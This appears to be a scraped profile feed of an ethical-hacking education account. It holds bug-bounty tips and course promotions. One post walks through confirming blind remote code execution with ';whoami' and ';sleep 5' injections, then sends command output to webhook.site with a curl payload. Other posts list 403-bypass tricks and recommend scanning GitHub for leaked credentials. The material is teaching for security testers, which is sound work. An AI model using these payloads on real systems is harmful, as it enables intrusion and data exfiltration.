Educating the next generation of ethical hackers.
United Kingdom
Joined April 2019
- Tweets3.6K
- Following13
- Followers14.7K
- Likes260
Test and confirm an RCE:
Here's how:
1: Test if RCE is possible with something like ;whoami
Since the app doesn’t return output (blind RCE), you need a side-channel to confirm it.
2: Use a Time-Based Payload like ;sleep 5
If the server delays its response by ~5 seconds, it confirms your command executed. This proves RCE is real, even if output is hidden.
3: Exfiltrate Output Using Webhook.site using a payload like this:
curl -X POST -d "user=$(whoami)" webhook.site/<your-unique-id>
This will send the output of whoami to your webhook URL as a POST request.
4: Verify the Output at Webhook.site
Visit your unique Webhook.site URL and you’ll see a new request with the POST body: user=www-data
That confirms command output was exfiltrated successfully.
Summary:
💥 Use ;sleep 5 to confirm blind RCE
💥 Use curl with Webhook.site to exfiltrate output
💥 Webhook.site acts as a temporary listener
💥 Great for demos, PoCs, and beginner-friendly workflows
If you’re new to bug bounty, start learning by hacking our Hubs! It’s 100% free! 👇
hhub.io/eSLRYyLUEV
136
LIMITED TIME: Grab the Caido for Hackers Course and get the Hacking APIs Course absolutely FREE!
Just want the API course? Snag it for $9.99 (50% off the usual $19.99).
Grab it before it's gone!
Links in the first reply. 🤓
Caido + API course: hhub.io/FreeAPICourseS
API course only: hhub.io/APICourseS
152
Scanning GitHub repos is a great way to find juicy information, secrets and credentials!
Trufflehog makes this easy.
With one scan, you can find AWS keys, FTP creds, crypto keys and more!
Check this out 👇
Think you've found an RCE?
Use the `time` command with cURL and a `;sleep 5` payload to see how long the server takes to respond.
If it takes longer than 5 seconds then may have confirmed an RCE! 🚀
Learn practical foundations by hacking our Hubs, 100% free! 👇
hhub.io/eSLRYyLUEV
Learn practical foundations by hacking our Hubs, 100% free! 👇
hhub.io/eSLRYyLUEV
556
Learn practical foundations by hacking our Hubs, 100% free! 👇
hhub.io/eSLRYyLUEV
4
261
Learn practical foundations by hacking our Hubs, 100% free! 👇
hhub.io/eSLRYyLUEV
1
255
We built a replica of the target environment where a $7,500 AI vulnerability was found.
Grab the techniques used here and start hunting for similar bugs! 🤓
Launch the Hub and hack it now, 100% free! 👇
app.hackinghub.io/hubs/ecorp…
Got a 403?
Before you move on, here are some tricks you should try first:
🟥 change the method (GET to POST, or vice versa)
🟥 append a trailing slash or a fake extension like .json
🟥 add an X-Forwarded-For or X-Original-URL header
🟥 hit the path with mixed case
🟥 URL encoding
At times, access to admin panels is restricted by nothing more than a simple, case-sensitive path check.
Bugs like that only show up if you refuse to accept the first 403.
Learn more practical techniques by hacking our Hubs, 100% free! 👇
hhub.io/eSLRYyLUEV
261
Halloween: A sleek black hoodie, a vendetta mask, and total anonymity.
🆚
Reality: 3:00 AM, fueled by two energy drinks, trying to figure out why your reverse shell won't connect.
1
18
955
Learn practical foundations by hacking our Hubs, 100% free! 👇
hhub.io/eSLRYyLUEV
271
Learn practical foundations by hacking our Hubs, 100% free! 👇
hhub.io/eSLRYyLUEV
223
Think hacking is only for people who already know how to code or have high technical knowledge? It actually isn’t.
1
6
779
Learn practical foundations by hacking our Hubs, 100% free! 👇
hhub.io/eSLRYyLUEV
1
310
Learn practical foundations by hacking our Hubs, 100% free! 👇
hhub.io/eSLRYyLUEV
1
290